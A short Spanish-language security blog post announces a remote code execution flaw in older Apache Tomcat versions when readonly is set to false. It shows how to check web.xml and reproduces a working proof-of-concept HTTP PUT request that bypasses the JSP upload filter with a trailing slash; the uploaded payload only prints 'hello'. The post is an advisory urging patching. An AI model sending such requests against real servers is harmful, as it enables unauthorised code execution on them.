El equipo de Apache Tomcat anunció que todas las versiones de Tomcat anteriores a la 9.0.1 (Beta), 8.5.23, 8.0.47 y 7.0.82 en todos los sistemas operativos contienen una vulnerabilidad de ejecución remota de código (RCE) si el servlet por defecto y/o el servlet WebDAV se configura con el parámetro readonly a false.

Para comprobar si un servidor es vulnerable sólo hay que chequear el init-param en el fichero web.xml correspondiente:

    <init-param>

        <param-name>readonly</param-name>

        <param-value>false</param-value>

    </init-param>

Con esta configuración es posible que cualquier usuario NO autenticado pueda subir archivos (HTTP PUT), como decía Alejandro Ramos una «Reproducción de vulnerabilidades de los 90«. Si bien el gran problema es que el filtro que impide la subida de JavaServer Pages (.jsp) se puede bypassear. Es decir, se puede subir un JSP y a continuación se puede ejecutar en el servidor.

El pasado 20 de septiembre se publicó una PoC en Tomcat Bugtracker y, aunque la mayoría de sistemas no tienen esta config por defecto, conviene parchear anyway:

PUT /1.jsp/ HTTP/1.1

Host: 192.168.3.103:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://192.168.3.103:8080/examples/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2

Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94

Connection: close

Content-Length: 26

<% out.println(«hello»);%>

Compartir